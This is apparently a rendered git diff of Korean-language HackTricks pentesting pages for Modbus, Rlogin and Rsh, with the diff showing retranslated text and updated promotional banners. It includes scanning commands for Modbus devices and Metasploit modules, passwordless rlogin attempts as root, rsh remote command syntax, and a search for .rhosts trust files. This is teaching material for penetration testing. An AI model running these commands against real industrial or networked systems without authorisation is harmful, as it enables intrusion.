**기본 포트:** 502
|
**기본 포트:** 502
|
||||||
```
|
```
|
||||||
|
@ -23,54 +24,22 @@ PORT STATE SERVICE
|
||||||
502/tcp open modbus
|
502/tcp open modbus
|
||||||
```
|
```
|
||||||
# 열거
|
# 열거
|
||||||
|
|
||||||
## Modbus Protocol
|
|
||||||
|
|
||||||
Modbus는 산업 자동화 시스템에서 사용되는 통신 프로토콜입니다. Modbus는 클라이언트-서버 아키텍처를 기반으로 하며, 주로 제어 장치와 센서 간의 통신에 사용됩니다. Modbus는 주로 TCP/IP 또는 시리얼 통신을 통해 작동하며, 주로 포트 502를 사용합니다.
|
|
||||||
|
|
||||||
## Modbus Unit Identifier (UID)
|
|
||||||
|
|
||||||
Modbus 통신에서 각 장치는 고유한 Unit Identifier (UID)를 가지고 있습니다. UID는 1에서 247 사이의 값을 가질 수 있으며, 각 장치는 고유한 식별자를 가지고 있어야 합니다.
|
|
||||||
|
|
||||||
## Modbus Function Codes
|
|
||||||
|
|
||||||
Modbus 프로토콜은 다양한 기능 코드를 제공합니다. 일반적으로 사용되는 기능 코드에는 다음과 같은 것들이 있습니다:
|
|
||||||
|
|
||||||
- Read Coils (0x01): 디지털 출력 상태를 읽습니다.
|
|
||||||
- Read Discrete Inputs (0x02): 디지털 입력 상태를 읽습니다.
|
|
||||||
- Read Holding Registers (0x03): 레지스터 값을 읽습니다.
|
|
||||||
- Read Input Registers (0x04): 입력 레지스터 값을 읽습니다.
|
|
||||||
- Write Single Coil (0x05): 단일 디지털 출력 상태를 설정합니다.
|
|
||||||
- Write Single Register (0x06): 단일 레지스터 값을 설정합니다.
|
|
||||||
- Write Multiple Coils (0x0F): 여러 디지털 출력 상태를 설정합니다.
|
|
||||||
- Write Multiple Registers (0x10): 여러 레지스터 값을 설정합니다.
|
|
||||||
|
|
||||||
## Modbus TCP/IP
|
|
||||||
|
|
||||||
Modbus TCP/IP는 Modbus 프로토콜을 TCP/IP 네트워크 상에서 사용하는 방식입니다. Modbus TCP/IP는 주로 이더넷 또는 Wi-Fi를 통해 통신하며, 포트 502를 사용합니다.
|
|
||||||
|
|
||||||
## Modbus RTU
|
|
||||||
|
|
||||||
Modbus RTU는 Modbus 프로토콜을 시리얼 통신 상에서 사용하는 방식입니다. Modbus RTU는 RS-232 또는 RS-485와 같은 시리얼 통신을 통해 작동하며, 데이터를 이진 형식으로 전송합니다.
|
|
||||||
|
|
||||||
## Modbus ASCII
|
|
||||||
|
|
||||||
Modbus ASCII는 Modbus 프로토콜을 시리얼 통신 상에서 ASCII 문자로 전송하는 방식입니다. Modbus ASCII는 RS-232와 같은 시리얼 통신을 통해 작동하며, 데이터를 ASCII 형식으로 전송합니다.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script modbus-discover -p 502 <IP>
|
nmap --script modbus-discover -p 502 <IP>
|
||||||
msf> use auxiliary/scanner/scada/modbusdetect
|
msf> use auxiliary/scanner/scada/modbusdetect
|
||||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,26 +1,28 @@
|
||||||
# 513 - Rlogin 펜테스팅
|
# 513 - Pentesting Rlogin
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
다른 HackTricks 지원 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
과거에는 **rlogin**이 원격 관리 작업에 널리 사용되었습니다. 그러나 보안 문제로 인해 **slogin** 및 **ssh**에 크게 대체되었습니다. 이러한 최신 방법은 원격 연결에 대한 향상된 보안을 제공합니다.
|
과거에 **rlogin**은 원격 관리 작업에 널리 사용되었습니다. 그러나 보안 문제로 인해 **slogin**과 **ssh**로 대체되었습니다. 이러한 최신 방법은 원격 연결에 대한 보안을 강화합니다.
|
||||||
|
|
||||||
**기본 포트:** 513
|
**기본 포트:** 513
|
||||||
```
|
```
|
||||||
|
@ -32,11 +34,11 @@ PORT STATE SERVICE
|
||||||
# Install client
|
# Install client
|
||||||
apt-get install rsh-client
|
apt-get install rsh-client
|
||||||
```
|
```
|
||||||
다음 명령을 사용하여 암호가 필요하지 않은 원격 호스트에 **로그인**을 시도할 수 있습니다. **루트**를 사용자 이름으로 시도해보세요:
|
다음 명령어를 사용하여 **비밀번호** 없이 접근할 수 있는 원격 호스트에 **로그인**을 시도할 수 있습니다. 사용자 이름으로 **root**를 사용해 보세요:
|
||||||
```bash
|
```bash
|
||||||
rlogin <IP> -l <username>
|
rlogin <IP> -l <username>
|
||||||
```
|
```
|
||||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||||
|
|
||||||
## 파일 찾기
|
## 파일 찾기
|
||||||
```
|
```
|
||||||
|
@ -47,16 +49,17 @@ find / -name .rhosts
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>영웨이 에이더블유에스 해킹을 제로부터 히어로로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
다른 방법으로 HackTricks를 지원하는 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 514 - Rsh 펜테스팅
|
# 514 - Pentesting Rsh
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
인증을 위해 **Rsh**에서는 **.rhosts** 파일과 **/etc/hosts.equiv**를 사용했습니다. 인증은 IP 주소와 도메인 이름 시스템 (DNS)에 의존했습니다. 특히 로컬 네트워크에서 IP 주소를 스푸핑하는 것이 쉬웠기 때문에 이는 중요한 취약점이었습니다.
|
인증을 위해 **.rhosts** 파일과 **/etc/hosts.equiv**가 **Rsh**에 의해 사용되었습니다. 인증은 IP 주소와 도메인 네임 시스템(DNS)에 의존했습니다. 특히 로컬 네트워크에서 IP 주소를 스푸핑하는 것이 용이하다는 점은 중요한 취약점이었습니다.
|
||||||
|
|
||||||
또한, **.rhosts** 파일이 사용자의 홈 디렉토리에 자주 위치한 Network File System (NFS) 볼륨에 배치되는 것이 일반적이었습니다.
|
또한, **.rhosts** 파일이 사용자 홈 디렉토리에 위치하는 것이 일반적이었으며, 이 디렉토리는 종종 네트워크 파일 시스템(NFS) 볼륨에 위치했습니다.
|
||||||
|
|
||||||
**기본 포트**: 514
|
**기본 포트**: 514
|
||||||
|
|
||||||
|
@ -29,21 +30,22 @@ rsh <IP> -l domain\user <Command>
|
||||||
rsh domain/user@<IP> <Command>
|
rsh domain/user@<IP> <Command>
|
||||||
rsh domain\\user@<IP> <Command>
|
rsh domain\\user@<IP> <Command>
|
||||||
```
|
```
|
||||||
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기법을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue